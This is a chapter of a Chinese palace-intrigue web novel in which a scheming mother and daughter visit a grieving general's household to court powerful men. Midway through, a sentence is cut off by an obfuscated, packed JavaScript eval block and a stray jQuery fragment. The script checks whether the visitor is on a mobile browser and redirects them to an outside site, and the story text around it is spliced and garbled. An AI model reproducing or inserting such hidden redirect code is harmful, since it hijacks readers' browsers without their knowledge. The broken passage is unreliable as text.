褚家二公子意外去世的消息自然也传到了沈府。
暖阁内,熏香袅袅。沈燕斜倚在软榻上,指尖漫不经心地点着茶壶盖,唇角噙着一丝冰冷的笑意。她早已与母亲赵玉婉通了气。
“母亲您瞧,”沈燕刻薄的声音传出,“褚云那小子,不知天高地厚,让他处处护着沈初初那个贱婢,处处与我作对。”
她顿了顿,眼中恶意更盛:“这便是他处处袒护沈初初的下场。况且,我早就看他碍眼了。褚家二公子?呵,身份再尊贵又如何?但凡碍了我的眼,让我心头不痛快...”沈燕的声音带着森然寒意,“杀了…便也杀了。”
听传言说是有人将褚云尸身送回褚府的,沈家母女嗤之以鼻,只当是哪个想讨赏的山野愚民凑巧撞见罢了。
那贱人沈初初的尸首不就没找到?现场只余些破烂布条,想必早成了那山坳里豺狼虎豹的腹中餐。
二人也压根没想过要给沈初初操办什么丧仪。
以什么身份?如今这沈府嫡女的尊荣可是她沈燕的,到时候爹爹回来后就说沈初初命薄,死在了那清风山上,清风山门禁森严,爹爹纵有疑心,又能如何?难不成还能把整座山翻过来查?
想到此处,沈燕得意地勾了勾嘴角,眼中闪过一丝妩媚,轻声对赵玉婉说:“母亲,这褚府,我们是不是该去吊唁一番?我听闻,那位新晋的镇国大将军也在府中。”
她刻意将“镇国大将军”四字咬得又慢又重,尾音微微上扬,其中的暗示不言而喻。
赵玉婉闻言,脸上立刻浮现出心领神会的笑容。
她端起茶盏,轻饮了一口,才慢悠悠地开口,语气却带着一丝试探性的忧虑:“燕儿说得是。只是那清风山上,与你订下婚约的侯府公子那边到时该如何交代?”
沈燕不以为意,嗤笑一声,语气里满是鄙夷,“不过是个空架子侯府,也配拿来和如日中天的褚家相提并论?”
说着便取下了发髻上戴着的琉璃簪,随意拨弄到梳妆台一旁,又从最下层的青褐色檀制木盒中取出了一支镶嵌着硕大嫣红宝石的金色流苏簪,流苏上镶嵌的无不是红色宝石。
话音未落,她便抬手,利落地将那支侯府小公子萧齐赠予她的金簪拔下,看也不看便扔在梳妆台的角落。
金簪碰撞木桌,发出沉闷的磕碰声。
紧接着,她拉开最下层的青黑色檀木妆匣,小心翼翼地从中取出一支流光溢彩的宝石簪子。簪身沉甸,顶端镶嵌着一颗硕大饱满、色泽浓烈如血的嫣红宝石,下方垂落的缕缕金丝流苏上,更是密密麻麻缀满了同样艳红的小颗宝石,璀璨夺目,富贵逼人。
“燕儿最是心善,念着褚家新丧,我们这便去好好吊唁一番。”说着,赵玉婉亲手接过那支沉甸甸的红宝石流苏簪,仔细地为沈燕簪入云鬓。
沈燕微微侧首,那流苏便随之摇曳晃动,流苏上细密的红宝石相互碰撞,发出细碎又撩拨的“沙沙”响声,金丝缠绕,光影流离,拨弄得人心尖都跟着发痒。
“来人呐,速速备下厚礼,要快。”
丫鬟们慌忙应声,纷纷忙碌着准备礼物。赵玉婉看着眼前的一切,心中不禁暗自盘算着。
女儿的心思,她这个做娘的岂会不懂?她也深以为然。燕儿这副花容月貌,比起那短命的沈初初,只强不弱。
如今褚府正值丧期,京中权贵为结交新贵,必定络绎不绝,这岂非是天赐良机?若能在那往来如云的贵胄中,为燕儿觅得一个比那萧家更煊赫的门第...
那萧家,虽顶着个侯府名头,终究是江河日下了。谁又会傻到拒绝攀上更高的枝头。
若那位圣眷正隆的镇国大将军,真能对燕儿青眼有加,那她赵玉婉岂不是做了那镇国大将军的丈母娘,是何等的威风八面。到时候她的母家赵家也再也不会瞧不上自己了。
一想到这泼天的富贵与近在咫尺的权势,赵玉婉脸上的笑容愈发灿烂了。
她迭声催促着丫鬟,尖利的声音在厅内回荡:“手脚都麻利些!误了时辰仔细你们的皮!”同时扭头对门外高喊,“马夫!速速备好最华丽的那辆马车!要快!”
褚府内,庭院间人影绰绰,前来“吊唁”的宾客依旧络绎不绝。然而,这往来穿梭的虚情假意,没几分是真心为二公子的。褚府的下人们冷眼瞧着,看破不说破,只是可怜了大将军,纵使心力交瘁,也只得强撑着精神,维持着将军府应有的礼数与体面。
方才,正厅之内,褚墨摒退左右,正与宰辅李献闻密谈。
褚墨的声音低沉压抑,将沈初初讲与他听的都一一详述。末了,他郑重托付:“献闻兄,此事,还望你能助我彻查。无论大周境内,还是突厥暗线,你的人脉手段,远胜于我。”他深知李献闻那张温润如玉的面孔下,掌控着的是何等庞大的力量。
“还有一事。”褚墨眉头紧锁,忧色更浓,“沈姑娘体内剧毒未清,仅靠药物压制,终非长久之计。若不能尽快寻到那蚀骨毒的出处,只怕性命堪忧。唯有找到下毒之人,弄清毒药来路,解药方有迹可循。”
李献闻原本沉静如水的面容,在听到“剧毒未清”、“性命堪忧”八字时,骤然蒙上一层厚厚的寒霜。
之前见她一脸憔悴,本以为只是悼念师弟过度导致,未曾想,她竟是在鬼门关前走了一遭。
亲眼目睹师弟惨死眼前的景象,李献闻能想到这是何等锥心刺骨的痛。这份沉重的阴影,怕是要伴随她一生了。
那她会不会也将这份不幸,归咎于自身?怪自己未能护住师弟?
一股难以言喻的窒闷感狠狠擒住了李献闻的心脏,仿佛被无形的手攥紧,闷痛得他呼吸都不自觉地粗重了几分,心口沉甸甸的,压着一团化不开的阴霾。
在这份沉默的静寂中,褚府家卫急促的脚步声在门外响起,打破了厅内的压抑:
“将军,沈府来人了。”
沈府?
褚墨闻言,心神稍敛。他对沈府的印象素来极佳。沈渊将军乃陛下亲封的统军将军,为人刚正忠勇,与自己的父亲更是多年至交,情谊深厚。
此次北疆大捷,若非沈渊将军与父亲等老将浴血奋战,在边疆筑起坚实的根基,他褚墨纵有通天之能,也绝无可能如此迅速地荡平柔然,稳固万里河山。
此次大军凯旋,沈将军主动请缨,率领部众留在北疆,协助当地百姓修复被战火蹂躏的良田屋舍,更在废墟瓦砾间,执着地找寻着他那位在战乱中失踪、尸骨无存的发妻的下落。
只言待此间事了,再行返京。此等家国大义与情深义重,令褚墨胸中敬意更甚。
褚墨向李献闻微一颔首,示意其稍待,旋即起身步出正厅,前去迎客。
“褚大将军节哀啊。”
赵玉婉一见褚墨身影,立刻堆起满面哀戚,未语先叹,还假惺惺地用袖口抹了抹本就没有眼泪的眼角。
“褚某谢过沈夫人。”褚墨面上不动声色,依旧是那副沉稳持重的模样,依礼拱手。
沈燕乖巧地侍立在母亲身侧,抬起眼帘,大胆地、带着毫不掩饰的探究,细细打量起这位名震天下的镇国大将军。
饶是听闻过褚大将军英武不凡,沈燕在真正看清他面容的刹那,心头仍是不由自主地剧烈一跳。
武将的体魄自是魁伟挺拔,最令她意外的是他的面容,全无寻常武将的粗犷或戾气,反而轮廓分明,透着一股沉静内敛的俊朗。
褚墨五感何等敏锐,那道直勾勾、带着灼热温度的目光一落在他身上,他便有所察觉。他眸光微转,随即顺着视线来源望去。
目光触及沈燕面容的瞬间,褚墨心头一滞。
这眉眼轮廓,竟让他一下想起了沈初初。
两人容貌并不相似,但是眉眼之处细看还是有些相象。
恐怕沈初初说的沈家便是这家了。
沈燕将褚墨眼中那瞬间的错愕尽收眼底,心中立时被巨大的得意填满。她只当是自己的绝世姿容令这位大将军也为之倾倒,于是当下眼波流转,故意抬起纤纤玉手半掩朱唇,发出一串银铃般娇媚的笑声:“褚大将军这般瞧着燕儿,可真是让燕儿羞煞了呢~”那尾音拖得又软又长,带着撩拨。
褚墨瞬间回神,意识到自己的失态,眸中仅存的一丝波动也迅速敛。他略一垂首,姿态端方,声音沉稳无波:“褚某失礼,望沈姑娘见谅。方才只是想起一位故人。”他点到即止,并未多言。
赵玉婉把褚墨和沈燕这么一来一回看得“分明”,心中更是笃定女儿的面容,一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936799|177253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难以言喻的骄傲溢出心间。
冷面将军都未能免俗,这大周能有几个?真不愧是她赵玉婉的女儿。
“无碍无碍。”赵玉婉脸上的笑容几乎要开出花来,她眼珠一转,正欲寻个由头抽身,让让两人单独相处,“那我···”
“大哥!”褚嫣儿一声清脆又带着明显怒气的呼喊从紫竹苑方向传来。
褚嫣儿提着裙摆,如同一阵旋风般疾冲过来。她老远就瞧见自家大哥身边又黏上了个不知哪家的小姐,那故作娇羞、眼波乱飞的模样,看得她胃里直泛恶心。
褚嫣儿毫不客气地冲到近前,强硬地插进褚墨与沈燕之间,硬生生将两人隔开。她双手叉腰,小巧的下巴高高扬起,声音带着尖锐的敌意:“这位姑娘倒是眼生得很,不知是哪家高门的千金?今日来我褚府,不知是真心来吊唁呢,还是另有所图?”
这直白又辛辣的质问,像一盆冷水,瞬间把赵玉婉正欲说出口的客套话浇了个透心凉,噎得她脸色一阵青白。
沈燕脸上那精心维持的的笑容,在褚嫣儿话音落下的瞬间,肉眼可见地僵滞。她唇角那抹刻意勾起的弧度,非但没弯下去,反而凝固成一个极其古怪且带着一丝阴冷意味的假笑,眼底更是飞快掠过一抹被打断好事的狠戾与厌烦。
哪里跑出来的野丫头?竟敢如此放肆,坏她好事!
沈燕心中怒火升腾,正欲开口。
“吱呀。”
就在这时,正厅那扇紧闭的雕花木门,被人从内拉开了。
听到身后的开门声,几人几乎是同时循声望去。
当看清那道缓步走出的素雅身影时,沈家母女不由自主地屏住了呼吸,眼中齐齐涌上难以掩饰的震惊。
竟是当朝宰辅李献闻!
他怎么会在这里?朝野上下谁人不知,这位新晋的玉面宰相从不轻易赴朝臣私宴,更别说亲临这等丧仪场合了。
赵玉婉的瞳孔猛地一缩,方才被褚嫣儿打断的恼怒瞬间被一股更强烈的算计取代,心脏在胸腔里狂跳起来。
真是天赐良机。
原本盘算着让燕儿攀上褚墨这棵大树已是极好,可眼前这位可是权倾朝野的新任宰相啊。不仅权势滔天,这通身的气度风华,这举世无双的容貌,这才是真正站在大周权力巅峰的人物。又是多少深闺贵女连做梦都不敢肖想的乘龙快婿。
“哎哟哟!”
赵玉婉那刻意拔高的、带着十二分谄媚的惊呼声瞬间打破了短暂的寂静。
“早就听闻宰相日理万机,平时抽不开身。没想到今日竟能一睹尊容,真是荣幸。”
褚墨听着这过于露骨、毫无新意的奉承,几不可察地蹙了下眉。这样的阿谀之词他听得太多,早已麻木。只是心中那点疑惑更深:沈初初那般清冷坚韧、如孤松傲雪的女子,怎会与眼前这对母女同出一府?
李献闻面上波澜不惊,甚至顺应着赵玉婉的话,唇角极自然地向上弯起一个温雅得体的弧度,声音清润如玉:““沈夫人言重了。今日能在此处见到夫人,亦是李某之幸。”他顿了顿,目光似乎不经意地扫过赵玉婉,那笑意更深了些,却如冬日积雪反射的冷光,不带丝毫暖意,“说起来,在北疆与突厥定约之时,李某亦有幸与贵府沈渊将军共事。沈将军忠勇刚毅,实乃国之栋梁,李某钦佩不已。”
自家夫君被当朝宰相如此盛赞,赵玉婉只觉得浑身骨头都轻了二两。他们沈府可也是立过功的!于是不由地把腰杆挺得更直了。
而此刻的沈燕,早已在李献闻踏出厅门、目光触及他容颜的刹那,便彻底沦陷。
她的呼吸被一只无形的手扼住,心跳如鼓,震得耳膜嗡嗡作响。时间在她眼中仿佛凝滞,周遭的一切都模糊褪色,只剩下那道素雅清绝的身影,散发着致命的吸引力,牢牢抓住了她全部的心神。
她从未见过如此完美到令人窒息的男人!那是一种混合着极致俊美、清冷气度与无上权势的蛊惑,让她瞬间目眩神迷,几乎忘了身在何处,只能痴痴地望着,目光如同被磁石吸附,再也无法挪开分毫。
就在沈燕沉浸在这份突如其来、近乎窒息的惊艳与心动中无法自拔时,一句话瞬间将她拉回了现实。
“只是,不知沈家千金如今如何了?”